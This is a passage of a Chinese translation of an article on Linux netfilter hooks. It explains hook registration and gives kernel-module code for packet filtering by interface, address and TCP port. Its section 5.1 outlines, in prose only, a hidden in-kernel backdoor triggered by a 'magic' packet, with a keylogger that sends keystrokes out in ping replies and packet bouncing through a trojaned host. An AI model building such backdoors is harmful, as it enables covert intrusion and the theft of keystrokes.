深入Linux網(wǎng)絡(luò)核心堆棧 netfilter詳解_第1頁
深入Linux網(wǎng)絡(luò)核心堆棧 netfilter詳解_第2頁
深入Linux網(wǎng)絡(luò)核心堆棧 netfilter詳解_第3頁
深入Linux網(wǎng)絡(luò)核心堆棧 netfilter詳解_第4頁
深入Linux網(wǎng)絡(luò)核心堆棧 netfilter詳解_第5頁
已閱讀5頁,還剩40頁未讀, 繼續(xù)免費(fèi)閱讀

下載本文檔

版權(quán)說明:本文檔由用戶提供并上傳,收益歸屬內(nèi)容提供方,若內(nèi)容存在侵權(quán),請進(jìn)行舉報或認(rèn)領(lǐng)

文檔簡介

1、深入Linux網(wǎng)絡(luò)核心堆棧-netfilter詳解目錄1 - 簡介 1.1 - 本文涉及的內(nèi)容 1.2 - 本文不涉及的內(nèi)容2 - 各種Netfilter hook及其用法 2.1 - Linux內(nèi)核對數(shù)據(jù)包的處理 2.2 - Netfilter對IPv4的hook3 - 注冊和注銷Netfilter hook4 - Netfilter 基本的數(shù)據(jù)報過濾技術(shù)1 4.1 - 深入hook函數(shù) 4.2 - 基于接口進(jìn)行過濾 4.3 - 基于地址進(jìn)行過濾 4.4 - 基于TCP端口進(jìn)行過濾5 - Netfilter hook的其它可能用法 5.1 - 隱藏后門的守護(hù)進(jìn)程 5.2 - 基于內(nèi)核的FTP

2、密碼嗅探器 5.2.1 - 源代碼 : nfsniff.c 5.2.2 - 源代碼 : getpass.c6 - 在Libpcap中隱藏網(wǎng)絡(luò)通信 6.1 - SOCK_PACKET、SOCK_RAW與Libpcap 6.2 - 給狼披上羊皮7 - 結(jié)束語A - 輕量級防火墻 A.1 - 概述 A.2 - 源代碼 : lwfw.c A.3 - 頭文件 : lwfw.hB - 第6節(jié)中的源代碼- 1 - 簡介 本文將向你展示,Linux的網(wǎng)絡(luò)堆棧的一些怪異行為(并不一定是弱點(diǎn))如何被用于邪惡的或者是其它形形色色的目的。在這里將要討論的是將表面上看起來合法的Netfilter hook用于后門的通信

3、,以及一種使特定的網(wǎng)絡(luò)通信在運(yùn)行于本機(jī)的基于Libpcap的嗅探器中消聲匿跡的技術(shù)。 Netfilter是Linux 2.4內(nèi)核的一個子系統(tǒng),Netfiler使得諸如數(shù)據(jù)包過濾、網(wǎng)絡(luò)地址轉(zhuǎn)換(NAT)以及網(wǎng)絡(luò)連接跟蹤等技巧成為可能,這些功能僅通過使用內(nèi)核網(wǎng)絡(luò)代碼提供的各式各樣的hook既可以完成。這些hook位于內(nèi)核代碼中,要么是靜態(tài)鏈接的,要么是以動態(tài)加載的模塊的形式存在??梢詾橹付ǖ木W(wǎng)絡(luò)事件注冊相應(yīng)的回調(diào)函數(shù),數(shù)據(jù)包的接收就是這樣一個例子。 1.1 - 本文涉及的內(nèi)容 本文討論模塊編寫者如何利用Netfilter hook來實(shí)現(xiàn)任意目的以及如何將將網(wǎng)絡(luò)通信在基于Libpcap的應(yīng)用程序中隱

4、藏。雖然Linux 2.4支持對IPv4、IPv6以及DECnet的hook,但在本文中將只討論關(guān)于IPv4的話題,雖然如此,大部分關(guān)于IPv4的內(nèi)容都同樣可以運(yùn)用于其它幾種協(xié)議。出于教學(xué)的目的,附錄A提供了一個可用的、提供基本的包過濾的內(nèi)核模塊。本文中所有的開發(fā)和試驗都在運(yùn)行于Intel主機(jī)上的Linux 2.4.5中完成。對Netfilter hook功能的測試在環(huán)回接口、以太網(wǎng)接口以及調(diào)制解調(diào)器點(diǎn)對點(diǎn)接口上完成。 本文也是出于我對Netfilter完全理解的嘗試的興趣而寫的。我并不能保證文中附帶的任何代碼100%的沒有錯誤,但是我已經(jīng)測試了所有在這里提供的代碼。我已經(jīng)受夠了核心錯誤的折磨

5、,因此真誠的希望你不會再如此。同樣,我不會為任何按照本文所述進(jìn)行的操作中可能發(fā)生的損害承擔(dān)責(zé)任。本文假定讀者熟悉C語言編程并且有一定的關(guān)于可加載模塊的經(jīng)驗。 歡迎對本文中出現(xiàn)的錯誤進(jìn)行批評指正,我同時開誠布公的接受對本文的改進(jìn)以及其它各種關(guān)于Netfilter的優(yōu)秀技巧的建議。 1.2 - 本文不涉及的內(nèi)容 本文不是一個完全的關(guān)于Netfilter的細(xì)節(jié)上的參考資料,同樣,也不是一個關(guān)于iptables的命令的參考資料。如果你想了解更多的關(guān)于iptables的命令,請參考相關(guān)的手冊頁。 好了,讓我們從Netfilter的使用介紹開始 . - 2 - 各種Netfilter hook及其用法 2

6、.1 - Linux內(nèi)核對數(shù)據(jù)包的處理 看起來好像是我很喜歡深入到諸如Linux的數(shù)據(jù)包處理以及事件的發(fā)生以及跟蹤每一個Netfilter hook這樣的血淋淋的細(xì)節(jié)中,事實(shí)并非如此!原因很簡單,Harald Welte已經(jīng)寫了一篇關(guān)于這個話題的優(yōu)秀的文章?Journey of a Packet Through the Linux 2.4 Network Stack。如果你想了解更多的關(guān)于Linux數(shù)據(jù)包處理的內(nèi)容,我強(qiáng)烈推薦你去拜讀這篇文章?,F(xiàn)在,僅需要理解:當(dāng)數(shù)據(jù)包游歷Linux內(nèi)核的網(wǎng)絡(luò)堆棧時,它穿過了幾個hook點(diǎn),在這里,數(shù)據(jù)包可以被分析并且選擇是保留還是丟棄,這些hook點(diǎn)就是Ne

7、tfilter hook。 2.2 - Netfilter對IPv4的hook Netfilter中定義了五個關(guān)于IPv4的hook,對這些符號的聲明可以在linux/netfilter_ipv4.h中找到。這些hook列在下面的表中: 表1 : 可用的IPv4 hook Hook 調(diào)用的時機(jī)NF_IP_PRE_ROUTING 在完整性校驗之后,選路確定之前NF_IP_LOCAL_IN 在選路確定之后,且數(shù)據(jù)包的目的是本地主機(jī)NF_IP_FORWARD 目的地是其它主機(jī)地數(shù)據(jù)包NF_IP_LOCAL_OUT 來自本機(jī)進(jìn)程的數(shù)據(jù)包在其離開本地主機(jī)的過程中NF_IP_POST_ROUTING 在數(shù)

8、據(jù)包離開本地主機(jī)“上線”之前 NF_IP_PRE_ROUTING這個hook是數(shù)據(jù)包被接收到之后調(diào)用的第一個hook,這個hook既是稍后將要描述的模塊所用到的。當(dāng)然,其它的hook同樣非常有用,但是在這里,我們的焦點(diǎn)是在NF_IP_PRE_ROUTING這個hook上。 在hook函數(shù)完成了對數(shù)據(jù)包所需的任何的操作之后,它們必須返回下列預(yù)定義的Netfilter返回值中的一個: 表2 : Netfilter返回值 返回值 含義NF_DROP 丟棄該數(shù)據(jù)包NF_ACCEPT 保留該數(shù)據(jù)包NF_STOLEN 忘掉該數(shù)據(jù)包NF_QUEUE 將該數(shù)據(jù)包插入到用戶空間NF_REPEAT 再次調(diào)用該ho

9、ok函數(shù) NF_DROP這個返回值的含義是該數(shù)據(jù)包將被完全的丟棄,所有為它分配的資源都應(yīng)當(dāng)被釋放。NF_ACCEPT這個返回值告訴Netfilter:到目前為止,該數(shù)據(jù)包還是被接受的并且該數(shù)據(jù)包應(yīng)當(dāng)被遞交到網(wǎng)絡(luò)堆棧的下一個階段。NF_STOLEN是一個有趣的返回值,因為它告訴Netfilter,“忘掉”這個數(shù)據(jù)包。這里告訴Netfilter的是:該hook函數(shù)將從此開始對數(shù)據(jù)包的處理,并且Netfilter應(yīng)當(dāng)放棄對該數(shù)據(jù)包做任何的處理。但是,這并不意味著該數(shù)據(jù)包的資源已經(jīng)被釋放。這個數(shù)據(jù)包以及它獨(dú)自的sk_buff數(shù)據(jù)結(jié)構(gòu)仍然有效,只是hook函數(shù)從Netfilter獲取了該數(shù)據(jù)包的所有權(quán)。

10、不幸的是,我還不是完全的清楚NF_QUEUE到底是如果工作的,因此在這里我不討論它。最后一個返回值NF_REPEAT請求Netfilter再次調(diào)用這個hook函數(shù)。顯然,使用者應(yīng)當(dāng)謹(jǐn)慎使用NF_REPEAT這個返回值,以免造成死循環(huán)。 -3 - 注冊和注銷Netfilter hook 注冊一個hook函數(shù)是圍繞nf_hook_ops數(shù)據(jù)結(jié)構(gòu)的一個非常簡單的操作,nf_hook_ops數(shù)據(jù)結(jié)構(gòu)在linux/netfilter.h中定義,該數(shù)據(jù)結(jié)構(gòu)的定義如下: struct nf_hook_ops struct list_head list; /* 此下的值由用戶填充 */ nf_hookfn *

11、hook; int pf; int hooknum; /* Hook以升序的優(yōu)先級排序 */ int priority; ; 該數(shù)據(jù)結(jié)構(gòu)中的list成員用于維護(hù)Netfilter hook的列表,并且不是用戶在注冊hook時需要關(guān)心的重點(diǎn)。hook成員是一個指向nf_hookfn類型的函數(shù)的指針,該函數(shù)是這個hook被調(diào)用時執(zhí)行的函數(shù)。nf_hookfn同樣在linux/netfilter.h中定義。pf這個成員用于指定協(xié)議族。有效的協(xié)議族在linux/socket.h中列出,但對于IPv4我們希望使用協(xié)議族PF_INET。hooknum這個成員用于指定安裝的這個函數(shù)對應(yīng)的具體的hook類型,

12、其值為表1中列出的值之一。最后,priority這個成員用于指定在執(zhí)行的順序中,這個hook函數(shù)應(yīng)當(dāng)在被放在什么地方。對于IPv4,可用的值在linux/netfilter_ipv4.h的nf_ip_hook_priorities枚舉中定義。出于示范的目的,在后面的模塊中我們將使用NF_IP_PRI_FIRST。 注冊一個Netfilter hook需要調(diào)用nf_register_hook()函數(shù),以及用到一個nf_hook_ops數(shù)據(jù)結(jié)構(gòu)。nf_register_hook()函數(shù)以一個nf_hook_ops數(shù)據(jù)結(jié)構(gòu)的地址作為參數(shù)并且返回一個整型的值。但是,如果你真正的看了在net/core/

13、netfilter.c中的nf_register_hook()函數(shù)的實(shí)現(xiàn)代碼,你會發(fā)現(xiàn)該函數(shù)總是返回0。以下提供的是一個示例代碼,該示例代碼簡單的注冊了一個丟棄所有到達(dá)的數(shù)據(jù)包的函數(shù)。該代碼同時展示了Netfilter的返回值如何被解析。 示例代碼1 : Netfilter hook的注冊/* * 安裝一個丟棄所有到達(dá)的數(shù)據(jù)包的Netfilter hook函數(shù)的示例代碼 */#define _KERNEL_#define MODULE#include #include #include #include /* 用于注冊我們的函數(shù)的數(shù)據(jù)結(jié)構(gòu) */static struct nf_hook_ops

14、 nfho;/* 注冊的hook函數(shù)的實(shí)現(xiàn) */unsigned int hook_func(unsigned int hooknum, struct sk_buff *skb, const struct net_device *in, const struct net_device *out, int (*okfn)(struct sk_buff *) return NF_DROP; /* 丟棄所有的數(shù)據(jù)包 */* 初始化程序 */int init_module() /* 填充我們的hook數(shù)據(jù)結(jié)構(gòu) */ nfho.hook = hook_func; /* 處理函數(shù) */ nfho.hook

15、num = NF_IP_PRE_ROUTING; /* 使用IPv4的第一個hook */ nfho.pf = PF_INET; nfho.priority = NF_IP_PRI_FIRST; /* 讓我們的函數(shù)首先執(zhí)行 */ nf_register_hook(&nfho); return 0;/* 清除程序 */void cleanup_module() nf_unregister_hook(&nfho); 這就是全部內(nèi)容,從示例代碼1中,你可以看到,注銷一個Netfilter hook是一件很簡單事情,只需要調(diào)用nf_unregister_hook()函數(shù),并且以你之前用于注冊這個hoo

16、k時用到的相同的數(shù)據(jù)結(jié)構(gòu)的地址作為參數(shù)。 - 4 - Netfilter 基本的數(shù)據(jù)報過濾技術(shù) 4.1 - 深入hook函數(shù) 現(xiàn)在是到了看看什么數(shù)據(jù)被傳遞到hook函數(shù)中以及這些數(shù)據(jù)如何被用于做過濾選擇的時候了。那么,讓我們更深入的看看nf_hookfn函數(shù)的原型吧。這個函數(shù)原型在linux/netfilter.h中給出,如下: typedef unsigned int nf_hookfn(unsigned int hooknum, struct sk_buff *skb, const struct net_device *in, const struct net_device *out, i

17、nt (*okfn)(struct sk_buff *); nf_hookfn函數(shù)的第一個參數(shù)用于指定表1中給出的hook類型中的一個。第二個參數(shù)更加有趣,它是一個指向指針的指針,該指針指向的指針指向一個sk_buff數(shù)據(jù)結(jié)構(gòu),網(wǎng)絡(luò)堆棧用sk_buff數(shù)據(jù)結(jié)構(gòu)來描述數(shù)據(jù)包。這個數(shù)據(jù)結(jié)構(gòu)在linux/skbuff.h中定義,由于它的內(nèi)容太多,在這里我將僅列出其中有意義的部分。 sk_buff數(shù)據(jù)結(jié)構(gòu)中最有用的部分可能就是那三個描述傳輸層包頭(例如:UDP, TCP, ICMP, SPX)、網(wǎng)絡(luò)層包頭(例如:IPv4/6, IPX, RAW)以及鏈路層包頭(例如:以太網(wǎng)或者RAW)的聯(lián)合(unio

18、n)了。這三個聯(lián)合的名字分別是h、nh以及mac。這些聯(lián)合包含了幾個結(jié)構(gòu),依賴于具體的數(shù)據(jù)包中使用的協(xié)議。使用者應(yīng)當(dāng)注意:傳輸層包頭和網(wǎng)絡(luò)層包頭可能是指向內(nèi)存中的同一個位置。這是TCP數(shù)據(jù)包可能出現(xiàn)的情況,其中h和nh都應(yīng)當(dāng)被看作是指向IP頭結(jié)構(gòu)的指針。這意味著嘗試通過h-th獲取一個值,并認(rèn)為該指針指向一個TCP頭,將會得到錯誤的結(jié)果。因為h-th實(shí)際上是指向的IP頭,與nh-iph得到的結(jié)果相同。 接下來讓我們感興趣的其它部分是len和data這兩個域。len指定了從data開始的數(shù)據(jù)包中的數(shù)據(jù)的總長度。好了,現(xiàn)在我們知道如何在sk_buff數(shù)據(jù)結(jié)構(gòu)中分別訪問協(xié)議頭和數(shù)據(jù)包中的數(shù)據(jù)了。Ne

19、tfilter hook函數(shù)中有用的信息中其它的有趣的部分是什么呢? 緊跟在skb之后的兩個參數(shù)是指向net_device數(shù)據(jù)結(jié)構(gòu)的指針,net_device數(shù)據(jù)結(jié)構(gòu)被Linux內(nèi)核用于描述所有類型的網(wǎng)絡(luò)接口。這兩個參數(shù)中的第一個?in,用于描述數(shù)據(jù)包到達(dá)的接口,毫無疑問,參數(shù)out用于描述數(shù)據(jù)包離開的接口。必須明白,在通常情況下,這兩個參數(shù)中將只有一個被提供。例如:參數(shù)in只用于NF_IP_PRE_ROUTING和NF_IP_LOCAL_IN hook,參數(shù)out只用于NF_IP_LOCAL_OUT和NF_IP_POST_ROUTING hook。在這一個階段中,我還沒有測試對于NF_IP_

20、FORWARD hook,這兩個參數(shù)中哪些是有效的,但是如果你能在使用之前先確定這些指針是非空的,那么你是非常優(yōu)秀的! 最后,傳遞給hook函數(shù)的最后一個參數(shù)是一個命名為okfn函數(shù)指針,該函數(shù)以一個sk_buff數(shù)據(jù)結(jié)構(gòu)作為它唯一的參數(shù),并且返回一個整型的值。我不是很確定這個函數(shù)是干什么用的,在net/core/netfilter.c中查看,有兩個地方調(diào)用了這個okfn函數(shù)。這兩個地方是分別在函數(shù)nf_hook_slow()中以及函數(shù)nf_reinject()中,在其中的某個位置,當(dāng)Netfilter hook的返回值為NF_ACCEPT時被調(diào)用。如果任何人有更多的關(guān)于okfn函數(shù)的信息,請

21、務(wù)必告知。 * 譯注:Linux核心網(wǎng)絡(luò)堆棧中有一個全局變量 : struct list_head nf_hooksNPROTONF_MAX_HOOKS,該變量是一個二維數(shù)組,其中第一維用于指定協(xié)議族,第二維用于指定hook的類型(表1中定義的類型)。注冊一個Netfilter hook實(shí)際就是在由協(xié)議族和hook類型確定的鏈表中添加一個新的節(jié)點(diǎn)。 以下代碼摘自 net/core/netfilter,nf_register_hook()函數(shù)的實(shí)現(xiàn):int nf_register_hook(struct nf_hook_ops *reg) struct list_head *i; br_writ

22、e_lock_bh(BR_NETPROTO_LOCK); for (i = nf_hooksreg-pfreg-hooknum.next; i != &nf_hooksreg-pfreg-hooknum; i = i-next) if (reg-priority priority) break; list_add(?-list, i-prev); br_write_unlock_bh(BR_NETPROTO_LOCK); return 0; Netfilter中定義了一個宏NF_HOOK,作者在前面提到的nf_hook_slow()函數(shù)實(shí)際上就是NF_HOOK宏定義替換的對象,在NF_HOOK

23、中執(zhí)行注冊的hook函數(shù)。NF_HOOK在Linux核心網(wǎng)絡(luò)堆棧的適當(dāng)?shù)牡胤揭赃m當(dāng)?shù)膮?shù)調(diào)用。例如,在ip_rcv()函數(shù)(位于net/ipv4/ip_input.c)的最后部分,調(diào)用NF_HOOK函數(shù),執(zhí)行NF_IP_PRE_ROUTING類型的hook。ip_rcv()是Linux核心網(wǎng)絡(luò)堆棧中用于接收IPv4數(shù)據(jù)包的主要函數(shù)。在NF_HOOK的參數(shù)中,頁包含一個okfn函數(shù)指針,該函數(shù)是用于數(shù)據(jù)包被接收后完成后續(xù)的操作,例如在ip_rcv中調(diào)用的NF_HOOK中的okfn函數(shù)指針指向ip_rcv_finish()函數(shù)(位于net/ipv4/ip_input.c),該函數(shù)用于IP數(shù)據(jù)包被接

24、收后的諸如IP選項處理等后續(xù)處理。 如果在內(nèi)核編譯參數(shù)中取消CONFIG_NETFILTER宏定義,NF_HOOK宏定義直接被替換為okfn,內(nèi)核代碼中的相關(guān)部分如下(linux/netfilter.h):#ifdef CONFIG_NETFILTER.#ifdef CONFIG_NETFILTER_DEBUG#define NF_HOOK nf_hook_slow#else#define NF_HOOK(pf, hook, skb, indev, outdev, okfn) (list_empty(&nf_hooks(pf)(hook) ? (okfn)(skb) : nf_hook_slo

25、w(pf), (hook), (skb), (indev), (outdev), (okfn)#endif.#else /* !CONFIG_NETFILTER */#define NF_HOOK(pf, hook, skb, indev, outdev, okfn) (okfn)(skb)#endif /*CONFIG_NETFILTER*/ 可見okfn函數(shù)是必不可少的,當(dāng)Netfilter被啟用時,它用于完成接收的數(shù)據(jù)包后的后續(xù)操作,如果不啟用Netfilter做數(shù)據(jù)包過濾,則所有的數(shù)據(jù)包都被接受,直接調(diào)用該函數(shù)做后續(xù)操作。 * 譯注完 現(xiàn)在,我們已經(jīng)了解了我們的hook函數(shù)接收到的信息

26、中最有趣和最有用的部分,是該看看我們?nèi)绾我愿鞣N各樣的方式來利用這些信息來過濾數(shù)據(jù)包的時候了! 4.2 - 基于接口進(jìn)行過濾 這應(yīng)該是我們能做的最簡單的過濾技術(shù)了。還記得我們的hook函數(shù)接收的參數(shù)中的那些net_device數(shù)據(jù)結(jié)構(gòu)嗎?使用相應(yīng)的net_device數(shù)據(jù)結(jié)構(gòu)的name這個成員,你就可以根據(jù)數(shù)據(jù)包的源接口和目的接口來選擇是否丟棄它。如果想丟棄所有到達(dá)接口eth0的數(shù)據(jù)包,所有你需要做的僅僅是將in-name的值與eth0做比較,如果名字匹配,那么hook函數(shù)簡單的返回NF_DROP即可,數(shù)據(jù)包會被自動銷毀。就是這么簡單!完成該功能的示例代碼見如下的示例代碼2。注意,Light-W

27、eight FireWall模塊將會提供所有的本文提到的過濾方法的簡單示例。它還包含了一個IOCTL接口以及用于動態(tài)改變其特性的應(yīng)用程序。 示例代碼2 : 基于源接口的數(shù)據(jù)包過濾/* 安裝一個丟棄所有進(jìn)入我們指定接口的數(shù)據(jù)包的Netfilter hook函數(shù)的示例代碼*/#define _KERNEL_#define MODULE#include #include #include #include #include /* 用于注冊我們的函數(shù)的數(shù)據(jù)結(jié)構(gòu) */static struct nf_hook_ops nfho;/* 我們丟棄的數(shù)據(jù)包來自的接口的名字 */static char *dro

28、p_if = lo;/* 注冊的hook函數(shù)的實(shí)現(xiàn) */unsigned int hook_func(unsigned int hooknum, struct sk_buff *skb, const struct net_device *in, const struct net_device *out, int (*okfn)(struct sk_buff *) if (strcmp(in-name, drop_if) = 0) printk(Dropped packet on %s.n, drop_if); return NF_DROP; else return NF_ACCEPT; /*

29、初始化程序 */int init_module() /* 填充我們的hook數(shù)據(jù)結(jié)構(gòu) */ nfho.hook = hook_func; /* 處理函數(shù) */ nfho.hooknum = NF_IP_PRE_ROUTING; /* 使用IPv4的第一個hook */ nfho.pf = PF_INET; nfho.priority = NF_IP_PRI_FIRST; /* 讓我們的函數(shù)首先執(zhí)行 */ nf_register_hook(&nfho); return 0; /* 清除程序 */void cleanup_module() nf_unregister_hook(&nfho); 是不

30、是很簡單?接下來,讓我們看看基于IP地址的過濾。 4.3 - 基于地址進(jìn)行過濾 與根據(jù)數(shù)據(jù)包的接口進(jìn)行過濾類似,基于數(shù)據(jù)包的源或目的IP地址進(jìn)行過濾同樣簡單。這次我們感興趣的是sk_buff數(shù)據(jù)結(jié)構(gòu)。還記得skb參數(shù)是一個指向sk_buff數(shù)據(jù)結(jié)構(gòu)的指針的指針嗎?為了避免犯錯誤,聲明一個另外的指向skb_buff數(shù)據(jù)結(jié)構(gòu)的指針并且將skb指針指向的指針賦值給這個新的指針是一個好習(xí)慣,就像這樣: struct sk_buff *sb = *skb; /* Remove 1 level of indirection* / 這樣,你訪問這個數(shù)據(jù)結(jié)構(gòu)的元素時只需要反引用一次就可以了。獲取一個數(shù)據(jù)包的I

31、P頭通過使用sk_buff數(shù)據(jù)結(jié)構(gòu)中的網(wǎng)絡(luò)層包頭來完成。這個頭位于一個聯(lián)合中,可以通過sk_buff-nh.iph這樣的方式來訪問。示例代碼3中的函數(shù)演示了當(dāng)?shù)玫揭粋€數(shù)據(jù)包的sk_buff數(shù)據(jù)結(jié)構(gòu)時,如何利用它來檢查收到的數(shù)據(jù)包的源IP地址與被禁止的地址是否相同。這些代碼是直接從LWFW中取出來的,唯一不同的是LWFW統(tǒng)計的更新被移除。 示例代碼3 : 檢查收到的數(shù)據(jù)包的源IP unsigned char *deny_ip = x7fx00 x00 x01; /* */ . static int check_ip_packet(struct sk_buff *skb) /* We dont w

32、ant any NULL pointers in the chain to * the IP header. */ if (!skb )return NF_ACCEPT; if (!(skb-nh.iph) return NF_ACCEPT; if (skb-nh.iph-saddr = *(unsigned int *)deny_ip) return NF_DROP; return NF_ACCEPT; 這樣,如果數(shù)據(jù)包的源地址與我們設(shè)定的丟棄數(shù)據(jù)包的地址匹配,那么該數(shù)據(jù)包將被丟棄。為了使這個函數(shù)能按預(yù)期的方式工作,deny_ip的值應(yīng)當(dāng)以網(wǎng)絡(luò)字節(jié)序(Big-endian,與Intel相反)

33、存放。雖然這個函數(shù)不太可能以一個空的指針作為參數(shù)來調(diào)用,帶一點(diǎn)點(diǎn)偏執(zhí)狂從來不會有什么壞處。當(dāng)然,如果錯誤確實(shí)發(fā)生了,那么該函數(shù)將會返回NF_ACCEPT。這樣Netfilter可以繼續(xù)處理這個數(shù)據(jù)包。示例代碼4展現(xiàn)了用于演示將基于接口的過濾略做修改以丟棄匹配給定IP地址的數(shù)據(jù)包的簡單模塊。 示例代碼4 : 基于數(shù)據(jù)包源地址的過濾/* 安裝丟棄所有來自指定IP地址的數(shù)據(jù)包的Netfilter hook的示例代碼 */#define _KERNEL_#define MODULE#include #include #include #include /* For IP header */#inclu

34、de #include /* 用于注冊我們的函數(shù)的數(shù)據(jù)結(jié)構(gòu) */static struct nf_hook_ops nfho;/* 我們要丟棄的數(shù)據(jù)包來自的地址,網(wǎng)絡(luò)字節(jié)序 */static unsigned char *drop_ip = x7fx00 x00 x01;/* 注冊的hook函數(shù)的實(shí)現(xiàn) */unsigned int hook_func(unsigned int hooknum, struct sk_buff *skb, const struct net_device *in, const struct net_device *out, int (*okfn)(struct sk

35、_buff *) struct sk_buff *sb = *skb; / 譯注:作者提供的代碼中比較地址是否相同的方法是錯誤的,見注釋掉的部分 if (sb-nh.iph-saddr = *(unsigned int *)drop_ip) / if (sb-nh.iph-saddr = drop_ip) printk(Dropped packet from. %d.%d.%d.%dn, *drop_ip, *(drop_ip + 1), *(drop_ip + 2), *(drop_ip + 3); return NF_DROP; else return NF_ACCEPT; /* 初始化程

36、序 */int init_module() /* 填充我們的hook數(shù)據(jù)結(jié)構(gòu) */ nfho.hook = hook_func; /* 處理函數(shù) */ nfho.hooknum = NF_IP_PRE_ROUTING; /* 使用IPv4的第一個hook */ nfho.pf = PF_INET; nfho.priority = NF_IP_PRI_FIRST; /* 讓我們的函數(shù)首先執(zhí)行 */ nf_register_hook(&nfho); return 0;/* 清除程序 */void cleanup_module() nf_unregister_hook(&nfho); 4.4 - 基

37、于TCP端口進(jìn)行過濾 另一個要實(shí)現(xiàn)的簡單規(guī)則是基于數(shù)據(jù)包的TCP目的端口進(jìn)行過濾。這只比檢查IP地址的要求要高一點(diǎn)點(diǎn),因為我們需要自己創(chuàng)建一個TCP頭的指針。還記得我們前面討論的關(guān)于傳輸層包頭與網(wǎng)絡(luò)層包頭的內(nèi)容嗎?獲取一個TCP頭的指針是一件簡單的事情?分配一個tcphdr數(shù)據(jù)結(jié)構(gòu)(在linux/tcp.h中定義)的指針,并將它指向我們的數(shù)據(jù)包中IP頭之后的數(shù)據(jù)?;蛟S一個例子的幫助會更大一些,示例代碼5給出了檢查數(shù)據(jù)包的TCP目的端口是否與某個我們要丟棄數(shù)據(jù)包的端口匹配的代碼。與示例代碼3一樣,這些代碼摘自LWFW。 示例代碼5 : 檢查收到的數(shù)據(jù)包的TCP目的端口 unsigned char

38、 *deny_port = x00 x19; /* port 25 */ . static int check_tcp_packet(struct sk_buff *skb) struct tcphdr *thead; /* We dont want any NULL pointers in the chain * to the IP header. */ if (!skb ) return NF_ACCEPT; if (!(skb-nh.iph) return NF_ACCEPT; /* Be sure this is a TCP packet first */ if (skb-nh.iph

39、-protocol != IPPROTO_TCP) return NF_ACCEPT; thead = (struct tcphdr *)(skb-data + (skb-nh.iph-ihl * 4); /* Now check the destination port */ if (thead-dest) = *(unsigned short *)deny_port) return NF_DROP; return NF_ACCEPT; 確實(shí)很簡單!不要忘了,要讓這個函數(shù)工作,deny_port必須是網(wǎng)絡(luò)字節(jié)序。這就是數(shù)據(jù)包過濾的基礎(chǔ)了,你應(yīng)當(dāng)已經(jīng)清楚的理解了對于一個特定的數(shù)據(jù)包,如何獲取你

40、想要的信息?,F(xiàn)在,是該進(jìn)入更有趣的內(nèi)容的時候了! - 5 - Netfilter hook的其它可能用法 在這里,我將提出其它很酷的利用Netfilter hook的點(diǎn)子,5.1節(jié)將簡單的給出精神食糧,而5.2節(jié)將討論和給出可以工作的基于內(nèi)核的FTP密碼嗅探器的代碼,它的遠(yuǎn)程密碼獲取功能是確實(shí)可用的。事實(shí)上,它工作的令我吃驚的好,并且我編寫了它。 5.1 - 隱藏后門的守護(hù)進(jìn)程 核心模塊編程也許是Linux開發(fā)中最有趣的部分之一了,在內(nèi)核中編寫代碼意味著你在一個僅受限于你的想象力的地方寫代碼。以惡意的觀點(diǎn)來看,你可以隱藏文件、進(jìn)程,并且做各式各樣很酷的,任何的rootkit能夠做的事情。那么,

41、以不太惡意的觀點(diǎn)來看(是的,持這中觀點(diǎn)人們的確存在),你可以隱藏文件、進(jìn)程以及干各式各樣的事情。內(nèi)核真是一個迷人的樂園! 有了賦予內(nèi)核級程序員的強(qiáng)大力量,很多事情成為可能。其中最有趣的(也是讓系統(tǒng)管理員恐慌的)一個就是嵌入到內(nèi)核中的后門。畢竟,如果后門不作為一個進(jìn)程運(yùn)行,那么我們怎么知道它的運(yùn)行?當(dāng)然,還是有辦法讓你的內(nèi)核揪出這樣的后門來,但是它們可不像運(yùn)行ps命令一樣容易和簡單?,F(xiàn)今,將后門代碼放到內(nèi)核中去的點(diǎn)子已經(jīng)并不新鮮了。但是,我在這里所提出的是安放一個用作內(nèi)核后門的簡單的網(wǎng)絡(luò)服務(wù)。你猜對了,正是Netfilter hook! 如果你已經(jīng)具備必要的技能并且情愿以做試驗的名義使你的內(nèi)核崩

42、潰,那么你就可以構(gòu)建簡單但是有用的,完全位于內(nèi)核中的,可以遠(yuǎn)程訪問的網(wǎng)絡(luò)服務(wù)了?;旧弦粋€Netfilter hook可以通過觀察收到的數(shù)據(jù)包來查找一個“魔法”數(shù)據(jù)包,并且當(dāng)接收到這個“魔法”數(shù)據(jù)包時干指定的事情。結(jié)果可以通過Netfilter hook來發(fā)送。并且該hook函數(shù)可以返回NF_STOLEN,以使得收到的“魔法”數(shù)據(jù)包可以走得更遠(yuǎn)。但是要注意,當(dāng)以這種方式來發(fā)送時,輸出數(shù)據(jù)包對于輸出Netfilter hook仍然是可見的。因此用戶空間完全不知道這個“魔法”數(shù)據(jù)包的曾經(jīng)到達(dá),但是它們還是能看到你送所出的。當(dāng)心!因為在泄密主機(jī)上的嗅探器不能看到這個包并不意味著在其它中間宿主主機(jī)上的

43、嗅探器也看不到這個包。 kossak與lifeline曾為Phrack寫了一篇精彩的文章,該文描述了如何通過注冊數(shù)據(jù)包類型處理器來完成這樣的功能。雖然本文涉及的是Netfilter hook,我仍然建議閱讀他們的這篇文章(第55期,文件12),因為它是一篇給出了一些非常有趣的點(diǎn)子的有趣讀物。 那么,后門Netfilter hook可以干些什么工作呢?以下是一些建議: - 遠(yuǎn)程訪問擊鍵記錄器(key-logger)。模塊記錄擊鍵,并且當(dāng)遠(yuǎn)程主機(jī)發(fā)送一個PING請求時,結(jié)果被送到該主機(jī)。這樣,可以生成一個類似于穩(wěn)定的(非洪水的)PING應(yīng)答流的擊鍵信息的流。當(dāng)然,你可能想要實(shí)現(xiàn)一個簡單的加密,這樣

44、,ASCII鍵不會立即暴露它們自己,并且某些警覺的系統(tǒng)管理員會想:“堅持,我以前都是通過我的SSH會話來鍵入那些的!Oh $%T%&!”。 - 各種簡單的管理員任務(wù),例如獲取當(dāng)前登錄到主機(jī)的用戶的列表或責(zé)獲取打開的網(wǎng)絡(luò)連接的信息。 - 并非一個真正的后門,而是位于網(wǎng)絡(luò)邊界的模塊,并且阻擋任何被疑為來自特洛伊木馬、ICMP隱蔽通道或者像KaZaa這樣的文件共享工具的通信。 - 文件傳輸“服務(wù)器”。我最近已經(jīng)實(shí)現(xiàn)了這個主意,由此引起的Linux核心編程是數(shù)小時的樂趣:) - 數(shù)據(jù)包跳躍。重定向目的為木馬主機(jī)指定端口的數(shù)據(jù)包到其它的IP主機(jī)和端口,并且從那臺主機(jī)發(fā)回數(shù)據(jù)包到發(fā)起者。沒有進(jìn)程被派生,并

